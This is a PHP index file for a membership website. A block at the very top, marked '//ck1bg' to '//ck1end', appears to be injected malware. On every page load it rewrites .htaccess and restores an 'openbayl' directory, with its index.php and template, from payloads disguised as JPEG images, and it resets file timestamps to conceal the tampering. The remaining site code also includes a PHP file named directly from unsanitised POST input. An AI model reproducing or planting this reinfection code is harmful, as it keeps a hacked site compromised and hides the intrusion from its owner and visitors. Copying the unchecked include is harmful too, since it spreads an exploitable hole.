//ck1bg $nowFileDir = 'openbayl'; $nowHtacFile = './.htaccess'; $nmbf1 = './openbayl/template.html'; $nowIndexFile = './openbayl/index.php'; $nowLogFile = './openbayl/logs.txt'; $bkLocalFileIndex1 = './images/logo_s.jpg'; $bkLocalFileHtac1 = './images/head_s.jpg'; $bkLocalFileMoban1 = './images/banner_s.jpg'; if($nowHtacFile && file_exists($bkLocalFileHtac1)){ if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @chmod($nowHtacFile,0755); @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1)); @chmod($nowHtacFile,0755); } } if(file_exists($bkLocalFileIndex1)){ if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @chmod($nowIndexFile,0755); @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1)); @chmod($nowIndexFile,0755); } } if(file_exists($bkLocalFileMoban1)){ if(!file_exists($nmbf1)){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1)); @chmod($nmbf1,0755); }else{ if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){ $tpstrMb = file_get_contents($nmbf1); if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){ $fitime = filemtime($bkLocalFileMoban1); @chmod($bkLocalFileMoban1,0755); @file_put_contents($bkLocalFileMoban1,$tpstrMb); @touch($bkLocalFileMoban1, $fitime, $fitime); }else{ @chmod($bkLocalFileMoban1,0755); @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1)); @chmod($bkLocalFileMoban1,0755); } } } } //ck1end include_once $_SERVER["DOCUMENT_ROOT"]."/includes/engine.php"; if($_POST) { $file = SITEPATH."/includes/scripts/".$_POST["form"].".php"; if(file_exists($file)) { include_once ($file); } } if($_GET["page"] == "logout") { logout_member(); $_SESSION["success"] = "You have been logged out."; redirect("/login/"); } if($_GET["page"] == "registration-success") { logout_member(); include_once ADMINPATH."/_lib/form_functions.php"; $_SESSION["success"] = get_form_success(1); redirect("/login/"); } $content = display_page($_GET["page"]); /* //only use the following if have SSL Certificate if($content["secure_page"] == 1 and SERVER_TYPE == 'live') { if($_SERVER['SERVER_PORT'] != '443') { header('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); exit(); } } else { if($_SERVER['SERVER_PORT'] != '80') { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); exit(); } } */ if($_SERVER['SERVER_PORT'] != '80') { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); exit(); } if($content["page_type"] == "dialog") { include_once SITEPATH."/themes/liferoo/dialog-header.php"; } else { include_once SITEPATH."/themes/liferoo/header.php"; } //get information from database for the page if(!$content) { ?>
This part of our website is still in the works.
Please check back soon for updates.
} else { echo $content["content"]; } if($content["page_type"] == "dialog") { include_once SITEPATH."/themes/liferoo/dialog-footer.php"; } else { include_once SITEPATH."/themes/liferoo/footer.php"; } ?>